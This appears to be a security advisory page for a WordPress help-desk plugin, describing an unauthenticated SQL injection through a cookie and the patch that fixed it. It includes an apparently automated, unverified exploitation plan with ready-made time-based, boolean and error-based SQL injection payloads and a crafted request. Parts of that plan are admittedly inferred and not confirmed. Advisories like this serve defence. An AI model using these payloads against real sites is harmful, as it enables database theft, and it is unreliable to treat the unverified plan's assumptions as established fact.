CVE-2023-7337

JS Help Desk – AI-Powered Support & Ticketing System 2.8.2 - Unauthenticated SQL Injection via 'js-support-ticket-token-tkstatus' Cookie

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
2.8.3
Patched in
1d
Time to patch

Description

The JS Help Desk – AI-Powered Support & Ticketing System plugin for WordPress is vulnerable to SQL Injection via the 'js-support-ticket-token-tkstatus' cookie in version 2.8.2 due to an incomplete fix for CVE-2023-50839 where a second sink was left with insufficient escaping on the user supplied values and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=2.8.2
PublishedMarch 3, 2026
Last updatedMarch 4, 2026
Affected pluginjs-support-ticket

What Changed in the Fix

Changes introduced in v2.8.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan focuses on exploiting **CVE-2023-7337**, an unauthenticated SQL injection vulnerability in the **JS Help Desk** plugin for WordPress. ### 1. Vulnerability Summary The JS Help Desk plugin (version <= 2.8.2) is vulnerable to an unauthenticated SQL injection via the `js-support-tick…

Show full research plan

This research plan focuses on exploiting CVE-2023-7337, an unauthenticated SQL injection vulnerability in the JS Help Desk plugin for WordPress.

1. Vulnerability Summary

The JS Help Desk plugin (version <= 2.8.2) is vulnerable to an unauthenticated SQL injection via the js-support-ticket-token-tkstatus cookie. This vulnerability stems from an incomplete fix for CVE-2023-50839. While the plugin developers attempted to sanitize inputs in certain code paths, a secondary "sink" (an SQL query execution point) remains where user-supplied data from the cookie is concatenated into a raw SQL query without proper escaping via esc_sql() or parameterization via $wpdb->prepare().

2. Attack Vector Analysis

  • Endpoint: Any front-end page, but most reliably the plugin's main control panel page (default slug: js-support-ticket-controlpanel).
  • Vulnerable Parameter: The js-support-ticket-token-tkstatus HTTP cookie.
  • Authentication: Unauthenticated (accessible to any site visitor).
  • Preconditions: The plugin must be active. The js-support-ticket-controlpanel page is automatically created upon activation (see includes/activation.php, insertMenu() function).

3. Code Flow

  1. Entry Point: A user visits a page where the plugin initializes, such as the [jssupportticket] shortcode page.
  2. Initialization: The plugin's core logic (likely in a class like JSSTticket or JSSTuser) checks for the existence of tracking cookies to allow users to view their tickets without logging in.
  3. Cookie Retrieval: The code retrieves the value of $_COOKIE['js-support-ticket-token-tkstatus'].
  4. Vulnerable Sink: The value is passed into a method that queries the wp_js_ticket_tickets table (or similar) to validate the "token".
  5. SQL Injection: Because the value is used in a string-concatenated query like SELECT ... FROM ... WHERE token = '$cookie_val' without prepare(), an attacker can break out of the string literal and append arbitrary SQL commands.

4. Nonce Acquisition Strategy

Based on the vulnerability description (unauthenticated cookie-based injection), no nonce is required. Cookies are typically processed during the WordPress init or wp_loaded hooks before the page content is rendered, or within the shortcode callback. These paths do not generally enforce nonce checks for read-only tracking operations.

If the exploitation required an AJAX request (unlikely for this specific cookie vector), the nonce would be found in the localized script object jsst_ajax_var.nonce (inferred) or similar, but the cookie vector suggests a direct page load is sufficient.

5. Exploitation Strategy

We will use a Time-Based Blind SQL Injection to verify the vulnerability, as it is the most reliable method when the query result isn't directly reflected in the UI.

Step 1: Baseline Request

Identify the response time of the target page without the malicious cookie.

  • URL: http://localhost:8888/js-support-ticket-controlpanel/
  • Method: GET
  • Tool: http_request

Step 2: Verification (Sleep Test)

Send a request with a payload designed to cause a 5-second delay.

  • Payload: random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Cookie: js-support-ticket-token-tkstatus=random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Request:
await http_request({
    url: "http://localhost:8888/js-support-ticket-controlpanel/",
    method: "GET",
    headers: {
        "Cookie": "js-support-ticket-token-tkstatus=random_token' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -"
    }
});

Step 3: Data Extraction (Example: Get DB Version)

Confirm if the first character of the database version starts with '5' or '8'.

  • Payload: random_token' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING(version(),1,1)='8',SLEEP(5),0)))a)-- -

6. Test Data Setup

  1. Activate Plugin: Ensure js-support-ticket is installed and activated.
  2. Verify Page: Confirm the page /js-support-ticket-controlpanel/ exists. If not, create it manually:
    • wp post create --post_type=page --post_title="JS Help Desk" --post_status=publish --post_content='[jssupportticket]' --post_name='js-support-ticket-controlpanel'
  3. Populate Table (Optional): While not strictly necessary for many blind payloads, creating a ticket can help ensure the query logic reaches the WHERE clause.
    • Use the front-end form on the control panel page to "Create Ticket".

7. Expected Results

  • Baseline Request: Response time < 1 second.
  • Vulnerable Request: Response time > 5 seconds.
  • False Condition Request: (e.g., SLEEP logic inside an IF that evaluates to false) Response time < 1 second.

8. Verification Steps

After the http_request confirms the timing delay, use wp_cli to verify the environment:

  1. Check Tables: wp db query "SHOW TABLES LIKE '%js_ticket%';".
  2. Check Plugin Version: wp plugin get js-support-ticket --field=version. Ensure it is 2.8.2.

9. Alternative Approaches

If time-based injection is throttled or blocked:

  1. Boolean-Based: Observe if the page content changes (e.g., "Ticket not found" vs. a generic error) when the tkstatus cookie contains a true/false condition:
    • True: token=valid_token' AND 1=1-- -
    • False: token=valid_token' AND 1=2-- -
  2. Error-Based: Inject payloads like AND updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and check the response body for MySQL errors, provided WP_DEBUG is enabled.
Research Findings
Static analysis — not yet PoC-verified

Summary

The JS Help Desk plugin for WordPress is vulnerable to unauthenticated SQL injection via the 'js-support-ticket-token-tkstatus' cookie in versions up to 2.8.2. This is due to an incomplete fix for a previous vulnerability (CVE-2023-50839) that left secondary database sinks vulnerable to raw SQL concatenation without proper preparation or escaping.

Vulnerable Code

/* includes/classes/wphdnotification.php line 84 */
public function getNotificationDatabySessionId($sessionfor , $deldata = false){
    if(jssupportticket::$_jshdsession->sessionid == '')
        return false;
    $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . jssupportticket::$_jshdsession->sessionid . "' AND sessionfor = '" . $sessionfor . "' AND sessionexpire > '" . time() . "'";
    $data = jssupportticket::$_db->get_var($query);

---

/* includes/classes/customfields.php line 509 */
$query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid  FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . $fieldfor . $inquery. " AND multiformid =" . $multiformid. " ORDER BY ordering";

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.2/includes/classes/customfields.php /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.3/includes/classes/customfields.php
--- /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.2/includes/classes/customfields.php	2023-12-07 07:40:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.3/includes/classes/customfields.php	2023-12-15 04:30:22.000000000 +0000
@@ -506,7 +506,7 @@
         if (!is_admin()) {
             $inquery .= ' AND userfieldtype != "admin_only" ';
         }
-        $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid  FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . $fieldfor . $inquery. " AND multiformid =" . $multiformid. " ORDER BY ordering";
+        $query = "SELECT field,fieldtitle,isuserfield,userfieldtype,userfieldparams,multiformid  FROM " . jssupportticket::$_db->prefix . "js_ticket_fieldsordering WHERE isuserfield = 1 AND " . $published . " AND fieldfor =" . esc_sql($fieldfor) . $inquery. " AND multiformid =" . esc_sql($multiformid). " ORDER BY ordering";
         $data = jssupportticket::$_db->get_results($query);
         return $data;
     }
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.2/includes/classes/wphdnotification.php /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.3/includes/classes/wphdnotification.php
--- /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.2/includes/classes/wphdnotification.php	2023-12-07 07:40:52.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/js-support-ticket/2.8.3/includes/classes/wphdnotification.php	2023-12-15 04:30:22.000000000 +0000
@@ -81,7 +81,7 @@
     public function getNotificationDatabySessionId($sessionfor , $deldata = false){
         if(jssupportticket::$_jshdsession->sessionid == '')
             return false;
-        $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . jssupportticket::$_jshdsession->sessionid . "' AND sessionfor = '" . $sessionfor . "' AND sessionexpire > '" . time() . "'";
+        $query = "SELECT sessionmsg FROM `" . jssupportticket::$_db->prefix . "js_ticket_jshdsessiondata` WHERE usersessionid = '" . esc_sql(jssupportticket::$_jshdsession->sessionid) . "' AND sessionfor = '" . esc_sql($sessionfor) . "' AND sessionexpire > '" . time() . "'";
         $data = jssupportticket::$_db->get_var($query);
         if(!empty($data)){
             $data = jssupportticketphplib::JSST_safe_decoding($data);

Exploit Outline

The exploit target is the front-end support panel (typically found at `/js-support-ticket-controlpanel/`). An unauthenticated attacker can execute SQL commands by sending a crafted GET request with a malicious `js-support-ticket-token-tkstatus` cookie. The payload typically uses time-based blind injection techniques (e.g., `AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) to extract data from the database. Because the plugin processes these cookies during initialization to identify guest support sessions, no authentication or nonces are required to reach the vulnerable code path.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.